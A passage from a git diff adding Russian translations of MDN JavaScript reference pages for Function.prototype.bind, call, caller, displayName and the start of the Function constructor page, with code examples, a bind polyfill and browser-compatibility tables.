+<p>Привязанная функция также может быть сконструирована с помощью оператора {{jsxref("Operators/new", "new")}}: это работает так, как если бы вместо неё конструировалась целевая функция. Предоставляемое значение <code>this</code> в этом случае игнорируется, хотя ведущие аргументы всё ещё передаются в эмулируемую функцию.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Creating_a_bound_function" name="Example:_Creating_a_bound_function">Пример: создание привязанной функции</h3>
+
+<p>Простейшим способом использования <code>bind()</code> является создание функции, которая, вне зависимости от способа её вызова, вызывается с определённым значением <code>this</code>. Обычным заблуждением для новичков в JavaScript является извлечение метода из объекта с целью его дальнейшего вызова в качестве функции и ожидание того, что он будет использовать оригинальный объект в качестве своего значения <code>this</code> (например, такое может случиться при использовании метода как функции обратного вызова). Однако, без специальной обработки, оригинальный объект зачастую теряется. Создание привязанной функции из функции, использующей оригинальный объект, изящно решает эту проблему:</p>
+
+<pre class="brush: js">this.x = 9;
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var getX = module.getX;
+getX(); // 9, поскольку в этом случае this ссылается на глобальный объект
+
+// создаём новую функцию с this, привязанным к module
+var boundGetX = getX.bind(module);
+boundGetX(); // 81
+</pre>
+
+<h3 id="Example:_Partial_Functions" name="Example:_Partial_Functions">Пример: частичные функции</h3>
+
+<p>Следующим простейшим способом использования <code>bind()</code> является создание функции с предопределёнными аргументами. Эти аргументы (если они есть) передаются после значения <code>this</code> и вставляются перед аргументами, передаваемыми в целевую функцию при вызове привязанной функции.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// Создаём функцию с предустановленным ведущим аргументом
+var leadingThirtysevenList = list.bind(undefined, 37);
+
+var list2 = leadingThirtysevenList(); // [37]
+var list3 = leadingThirtysevenList(1, 2, 3); // [37, 1, 2, 3]
+</pre>
+
+<h3 id="Example:_With_setTimeout" name="Example:_With_setTimeout">Пример: с <code>setTimeout</code></h3>
+
+<p>По умолчанию, внутри {{domxref("window.setTimeout()")}} контекст <code>this</code> устанавливается в объект {{domxref("window")}} (или <code>global</code>). При работе с методами класса, требующими <code>this</code> для ссылки на экземпляры класса, вы можете явно привязать <code>this</code> к функции обратного вызова для сохранения экземпляра.</p>
+
+<pre class="brush: js">function LateBloomer() {
+  this.petalCount = Math.ceil(Math.random() * 12) + 1;
+}
+
+// Объявляем цветение с задержкой в 1 секунду
+LateBloomer.prototype.bloom = function() {
+  window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+  console.log('Я прекрасный цветок с ' +
+    this.petalCount + ' лепестками!');
+};
+</pre>
+
+<h3 id="Example:_Bound_functions_used_as_constructors" name="Example:_Bound_functions_used_as_constructors">Пример: привязывание функций, используемых в качестве конструкторов</h3>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> этот раздел демонстрирует возможности JavaScript и документирует некоторые граничные случаи использования метода <code>bind()</code>. Показанные ниже методы не являются лучшей практикой и, вероятно, их не следует использовать в рабочем окружении.</p>
+</div>
+
+<p>Привязанные функции автоматически подходят для использования вместе с оператором {{jsxref("Operators/new", "new")}} для конструирования новых экземпляров, создаваемых целевой функцией. Когда привязанная функция используется для конструирования значения, предоставляемое значение <code>this</code> игнорируется. Однако, предоставляемые аргументы всё так же вставляются перед аргументами конструктора:</p>
+
+<pre class="brush: js">function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return this.x + ',' + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // '1,2'
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+// не поддерживается полифиллом, приведённым ниже,
+// но отлично работает с родным bind:
+var YAxisPoint = Point.bind(null, 0/*x*/);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); // '0,5'
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // true
+</pre>
+
+<p>Обратите внимание, что вам не нужно делать ничего особенного для создания привязанной функции, используемой с оператором {{jsxref("Operators/new", "new")}}. В итоге, для создания явно вызываемой привязанной функции, вам тоже не нужно делать ничего особенного, даже если вам требуется, чтобы привязанная функция вызывалась только с помощью оператора {{jsxref("Operators/new", "new")}}.</p>
+
+<pre class="brush: js">// Пример может быть запущен прямо в вашей консоли JavaScript
+// ...продолжение примера выше
+
+// Всё ещё можно вызывать как нормальную функцию
+// (хотя обычно это не предполагается)
+YAxisPoint(13);
+
+emptyObj.x + ',' + emptyObj.y;
+// &gt;  '0,13'
+</pre>
+
+<p>Если вы хотите поддерживать использование привязанной функции только с помощью оператора {{jsxref("Operators/new", "new")}}, либо только с помощью прямого вызова, целевая функция должна предусматривать такие ограничения.</p>
+
+<h3 id="Example:_Creating_shortcuts" name="Example:_Creating_shortcuts">Пример: создание сокращений</h3>
+
+<p>Метод <code>bind()</code> также полезен в случаях, если вы хотите создать сокращение для функции, требующей определёное значение <code>this</code>.</p>
+
+<p>Возьмём, например, метод {{jsxref("Array.prototype.slice")}}, который вы можете использовать для преобразования массивоподобного объекта в настоящий массив. Вы можете создать подобное сокращение:</p>
+
+<pre class="brush: js">var slice = Array.prototype.slice;
+
+// ...
+
+slice.call(arguments);
+</pre>
+
+<p>С помощью метода <code>bind()</code>, это сокращение может быть упрощено. В следующем куске кода <code>slice</code> является функцией, привязанной к функции {{jsxref("Function.prototype.call()", "call()")}} объекта {{jsxref("Function.prototype")}}, со значением <code>this</code>, установленным в функцию {{jsxref("Array.prototype.slice()", "slice()")}} объекта {{jsxref("Array.prototype")}}. Это означает, что дополнительный вызов <code>call()</code> может быть устранён:</p>
+
+<pre class="brush: js">// Тоже самое, что и slice в предыдущем примере
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Функция <code>bind</code> является дополнением к стандарту ECMA-262 5-го издания; поэтому она может присутствовать не во всех браузерах. Вы можете частично обойти это ограничение, вставив следующий код в начало ваших скриптов, он позволяет использовать большую часть возможностей <code>bind()</code> в реализациях, не имеющих его родной поддержки.</p>
+
+<pre class="brush: js">if (!Function.prototype.bind) {
+  Function.prototype.bind = function(oThis) {
+    if (typeof this !== 'function') {
+      // ближайший аналог внутренней функции
+      // IsCallable в ECMAScript 5
+      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+    }
+
+    var aArgs = Array.prototype.slice.call(arguments, 1),
+        fToBind = this,
+        fNOP    = function() {},
+        fBound  = function() {
+          return fToBind.apply(this instanceof fNOP &amp;&amp; oThis
+                 ? this
+                 : oThis,
+                 aArgs.concat(Array.prototype.slice.call(arguments)));
+        };
+
+    fNOP.prototype = this.prototype;
+    fBound.prototype = new fNOP();
+
+    return fBound;
+  };
+}
+</pre>
+
+<p>Некоторые из многих отличий (так же могут быть и другие, данный список далеко не исчерпывающий) между этой реализацией и реализацией по умолчанию:</p>
+
+<ul>
+ <li>Частичная реализация предполагает, что методы {{jsxref("Array.prototype.slice()")}}, {{jsxref("Array.prototype.concat()")}}, {{jsxref("Function.prototype.call()")}} и {{jsxref("Function.prototype.apply()")}} являются встроенными, имеют своё первоначальное значение.</li>
+ <li>Частичная реализация создаёт функции, не имеющие неизменяемых свойств «отравленной пилюли» — {{jsxref("Function.caller", "caller")}} и <code>arguments</code> — которые выбрасывают исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} при попытке получить, установить или удалить эти свойства. (Такие свойства могут быть добавлены, если реализация поддерживает {{jsxref("Object.defineProperty")}}, либо частично реализованы [без поведения исключение-при-попытке-удаления], если реализация поддерживает расширения {{jsxref("Object.defineGetter", "__defineGetter__")}} и {{jsxref("Object.defineSetter", "__defineSetter__")}}.)</li>
+ <li>Частичная реализация создаёт функции, имеющие свойство <code>prototype</code>. (Правильная привязанная функция его не имеет.)</li>
+ <li>Частичная реализация создаёт привязанные функции, чьё свойство {{jsxref("Function.length", "length")}} не соответствует с определением в ECMA-262; оно равно 0, в то время, как полная реализация, в зависимости от значения свойства <code>length</code> целевой функции и количества предопределённых аргументов, может вернуть значение, отличное от нуля.</li>
+</ul>
+
+<p>Если вы решили использовать частичную реализацию, <strong>не рассчитывайте на корректную работу в тех случаях, когда реализация отклоняется от спецификации ECMA-262 5-го издания!</strong> Однако, в определённых случаях (и, возможно, с дополнительными модификациями для отдельных нужд), применение данной частичной реализации может быть вполне оправданным до тех пор, пока <code>bind()</code> не станет широко реализован в соответствии со спецификацией.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("7")}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5.1.4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatAndroid("4.0")}}</td>
+   <td>{{CompatChrome("0.16")}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile("11.50")}}</td>
+   <td>{{CompatSafari("6.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>На основе <a href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Функции и их область видимости", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/call/index.html b/files/ru/web/javascript/reference/global_objects/function/call/index.html
new file mode 100644
index 0000000000..500c4af182
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/call/index.html
@@ -0,0 +1,175 @@
+---
+title: Function.prototype.call()
+slug: Web/JavaScript/Reference/Global_Objects/Function/call
+tags:
+  - Function
+  - JavaScript
+  - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>call()</strong></code> вызывает функцию с указанным значением <code>this</code> и индивидуально предоставленными аргументами.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> хотя синтаксис этой функции практически полностью идентичен функции {{jsxref("Function.prototype.apply", "apply()")}}, фундаментальное различие между ними заключается в том, что функция <code>call()</code> принимает <strong>список аргументов</strong>, в то время, как функция <code>apply()</code> <strong>- одиночный массив аргументов</strong>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>fun</var>.call(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>Значение <code>this</code>, предоставляемое для вызова функции <em><code>fun</code></em>. Обратите внимание, что <code>this</code> может не быть реальным значением, видимым этим методом: если метод является функцией в {{jsxref("Functions_and_function_scope/Strict_mode", "нестрогом режиме", "", 1)}}, значения {{jsxref("Global_Objects/null", "null")}} и {{jsxref("Global_Objects/undefined", "undefined")}} будут заменены глобальным объектом, а примитивные значения будут упакованы в объекты.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>Аргументы для объекта.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Вы можете присваивать различные объекты <code>this</code> при вызове существующей функции. <code>this</code> ссылается на текущий объект, вызвавший объект. С помощью <code>call</code> вы можете написать метод один раз, а затем наследовать его в других объектах, без необходимости переписывать метод для каждого нового объекта.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_call_to_chain_constructors_for_an_object" name="Example:_Using_call_to_chain_constructors_for_an_object">Пример: использование <code>call</code> для связи конструкторов объекта в цепочку</h3>
+
+<p>Вы можете использовать метод <code>call</code> для объединения в цепочку {{jsxref("Operators/new", "конструкторов", "", 1)}} объекта, как в Java. В следующем примере для объекта продукта <code>Product</code> объявлен конструктор с двумя параметрами, названием <code>name</code> и ценой <code>price</code>. Продукт инициализирует свойства <code>name</code> и <code>price</code>, а специализированные функции определяют ещё категорию <code>category</code>.</p>
+
+<pre class="brush: js">function Product(name, price) {
+  this.name = name;
+  this.price = price;
+
+  if (price &lt; 0) {
+    throw RangeError('Нельзя создать продукт ' +
+                      this.name + ' с отрицательной ценой');
+  }
+}
+
+function Food(name, price) {
+  Product.call(this, name, price);
+  this.category = 'еда';
+}
+
+Food.prototype = Object.create(Product.prototype);
+
+function Toy(name, price) {
+  Product.call(this, name, price);
+  this.category = 'игрушка';
+}
+
+Toy.prototype = Object.create(Product.prototype);
+
+var cheese = new Food('фета', 5);
+var fun = new Toy('робот', 40);
+</pre>
+
+<h3 id="Example_Using_call_to_invoke_an_anonymous_function" name="Example:_Using_call_to_invoke_an_anonymous_function">Пример: использование <code>call</code> для вызова анонимной функции</h3>
+
+<p>В этом чисто искусственном примере, мы создаём анонимную функцию и используем <code>call</code> для вызова её на каждом элементе массива. Главная задача анонимной функции здесь — добавить функцию печати в каждый объект, способную напечатать правильный индекс объекта в массиве. Передача объекта в качестве значения <code>this</code> не является острой необходимостью, но мы делаем это в целях объяснения.</p>
+
+<pre class="brush: js">var animals = [
+  { species: 'Лев', name: 'Король' },
+  { species: 'Кит', name: 'Фэйл' }
+];
+
+for (var i = 0; i &lt; animals.length; i++) {
+  (function(i) {
+    this.print = function() {
+      console.log('#' + i + ' ' + this.species
+                  + ': ' + this.name);
+    }
+    this.print();
+  }).call(animals[i], i);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/caller/index.html b/files/ru/web/javascript/reference/global_objects/function/caller/index.html
new file mode 100644
index 0000000000..4055eaf092
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/caller/index.html
@@ -0,0 +1,131 @@
+---
+title: Function.caller
+slug: Web/JavaScript/Reference/Global_Objects/Function/caller
+tags:
+  - Function
+  - JavaScript
+  - Non-standard
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller
+---
+<div>{{JSRef("Global_Objects", "Function")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <code><strong><em>function</em>.caller</strong></code> возвращает функцию, которая вызвала указанную функцию.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если функция <code>f</code> была вызвана из кода самого верхнего уровня, значение <code>f.caller</code> будет равно {{jsxref("Global_Objects/null", "null")}}, в противном случае значение будет равно функции, вызвавшей <code>f</code>.</p>
+
+<p>Это свойство пришло на замену удалённого свойства {{jsxref("Functions_and_function_scope/arguments/caller", "arguments.caller")}} объекта {{jsxref("Functions_and_function_scope/arguments", "arguments")}}.</p>
+
+<p>Специальное свойство <code>__caller__</code>, возвращающее объект активации вызывающей функции и, таким образом, позволяющее восстанавливать стек вызовов, было удалено по соображениям безопасности.</p>
+
+<h3 id="Notes" name="Notes">Примечания</h3>
+
+<p>Обратите внимание, что в случае рекурсии, вы не сможете воссоздать стек вызовов, используя это свойство. Пусть у нас есть функции:</p>
+
+<pre class="brush: js">function f(n) { g(n - 1); }
+function g(n) { if (n &gt; 0) { f(n); } else { stop(); } }
+f(2);
+</pre>
+
+<p>В момент вызова функции <code>stop()</code>, стек вызовов имеет следующий вид:</p>
+
+<pre class="eval">f(2) -&gt; g(2) -&gt; f(2) -&gt; g(1) -&gt; f(1) -&gt; g(0) -&gt; stop()
+</pre>
+
+<p>Следующее условие верно:</p>
+
+<pre class="eval">stop.caller === g &amp;&amp; f.caller === g &amp;&amp; g.caller === f
+</pre>
+
+<p>так что если вы попытаетесь оттрассировать стек в функции <code>stop()</code> подобным образом:</p>
+
+<pre class="brush: js">var f = stop;
+var stack = 'Трассировка стека:';
+while (f) {
+  stack += '\n' + f.name;
+  f = f.caller;
+}
+</pre>
+
+<p>то этот цикл никогда не остановится.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Checking_the_value_of_a_function.27s_caller_property" name="Example:_Checking_the_value_of_a_function.27s_caller_property">Пример: проверка значения свойства <code>caller</code> функции</h3>
+
+<p>Следующий код проверяет значение свойства <code>caller</code> функции.</p>
+
+<pre class="brush: js">function myFunc() {
+  if (myFunc.caller == null) {
+    return 'Эта функция была вызвана из верхнего уровня!';
+  } else {
+    return 'Эта функция была вызвана из ' + myFunc.caller;
+  }
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.5.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Ошибка реализации в SpiderMonkey: {{bug(65683)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/displayname/index.html b/files/ru/web/javascript/reference/global_objects/function/displayname/index.html
new file mode 100644
index 0000000000..11bae88221
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/displayname/index.html
@@ -0,0 +1,111 @@
+---
+title: Function.displayName
+slug: Web/JavaScript/Reference/Global_Objects/Function/displayName
+tags:
+  - Function
+  - JavaScript
+  - Non-standard
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName
+---
+<div>
+ {{JSRef("Global_Objects", "Function")}} {{Non-standard_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong><em>function</em>.displayName</strong></code> возвращает отображаемое имя функции.</p>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если оно определено, свойство <code>displayName</code> возвращает отображаемое имя функции:</p>
+<pre class="brush: js">function doSomething() {}
+
+alert(doSomething.displayName); // "undefined"
+
+var popup = function(content) { alert(content); };
+
+popup.displayName = 'Показать всплывающее окно';
+
+alert(popup.displayName); // "Показать всплывающее окно"
+</pre>
+<p>Вы можете определить функцию с отображаемым именем в {{jsxref("Functions_and_function_scope", "выражении функции", "", 1)}}:</p>
+<pre class="brush: js">var object = {
+  someMethod: function() {}
+};
+
+object.someMethod.displayName = 'someMethod';
+
+alert(object.someMethod.displayName); // выведет "someMethod"
+
+try { someMethod } catch(e) { alert(e); }
+// ReferenceError: someMethod is not defined
+</pre>
+<p>Вы можете динамически изменять свойство <code>displayName</code> функции:</p>
+<pre class="brush: js">var object = {
+  // анонимная функция
+  someMethod: function(value) {
+    this.displayName = 'someMethod (' + value + ')';
+  }
+};
+
+alert(object.someMethod.displayName); // "undefined"
+
+object.someMethod('123')
+alert(object.someMethod.displayName); // "someMethod (123)"
+</pre>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<p>Обычно оно используется консолью и профилировщиком, как обёртка над {{jsxref("Function.name", "func.name")}} для отображения имени функции.</p>
+<p>Введя следующий пример в консоль, вы должны увидеть что-то вроде "<code>function Моя функция()</code>":</p>
+<pre class="brush: js">var a = function() {};
+a.displayName = 'Моя функция';
+
+a
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop(13)}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p> </p>
diff --git a/files/ru/web/javascript/reference/global_objects/function/index.html b/files/ru/web/javascript/reference/global_objects/function/index.html
new file mode 100644
index 0000000000..63d7e776c0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/index.html
@@ -0,0 +1,200 @@
+---
+title: Function
+slug: Web/JavaScript/Reference/Global_Objects/Function
+tags:
+  - JavaScript
+  - Конструктор
+  - Функция
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<p>{{JSRef}}</p>
+
+<p><strong><code>Function</code> constructor</strong> создает новый объект <code>Function</code>. Вызов <code>constructor</code> создает функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создает функции, которые выполняются только в глобальной области..</p>
+
+<p>{{EmbedInteractiveExample("pages/js/function-constructor.html")}}</p>
+
+<div class="hidden">
+<p>Источник для этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект interactive examples, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p>Каждая функция JavaScript на самом деле является объектом функции. Это можно увидеть с помощью кода <code>(function(){}).constructor === Function</code> которая возвращает true.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>new Function([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Имена, используемые функцией в качестве имён формальных аргументов. Каждое имя должно быть строкой, представляющий допустимый идентификатор JavaScript, либо списком таких строк, разделённых запятой; например "<code>x</code>", "<code>theValue</code>" или "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>Строка, содержащая инструкции JavaScript, составляющие определение функции.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Объекты <code>Function</code>, созданные констуктором <code>Function</code>, разбираются при создании функции. Это менее эффективно определения функции при помощи <a href="/ru/docs/Web/JavaScript/Reference/Operators/function">выражения <code>function</code></a> или <a href="/ru/docs/Web/JavaScript/Reference/Statements/function">инструкции <code>function</code></a> и вызова её внутри вашего кода, поскольку такие функции разбираются вместе с остальным кодом.</p>
+
+<p>Все аргументы, переданные в функцию, трактуются как имена идентификаторов параметров создаваемой функции, и имеют тот же порядок следования, что и при их передаче в конструктор функции.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> функции, созданные конструктором <code>Function</code>, не создают замыканий на их контексты создания; они всегда создаются в глобальной области видимости. При их вызове, они получат доступ только к своим локальным переменным и переменным из глобальной области видимости, но не к переменным в той области видимости, в которой вызывался конструктор <code>Function</code>. Это поведение отличается от поведения при использовании функции {{jsxref("Global_Objects/eval", "eval")}} с кодом создания функции.</p>
+</div>
+
+<p>Вызов констуктора <code>Function</code> как функции (без использования оператора <code>new</code>) имеет тот же самый эффект, что и вызов его как констуктора.</p>
+
+<h2 id="Properties_and_Methods_of_Function" name="Properties_and_Methods_of_Function">Свойства и методы объекта <code>Function</code></h2>
+
+<p>Глобальный объект <code>Function</code> не имеет собственных методов или свойств, однако, поскольку он сам является функцией, он наследует некоторые методы и свойства через цепочку прототипов объекта {{jsxref("Function.prototype")}}.</p>
+
+<h2 id="Function_prototype_object" name="Function_prototype_object">Прототип объекта <code>Function</code></h2>
+
+<h3 id="Properties" name="Properties">Свойства</h3>
+
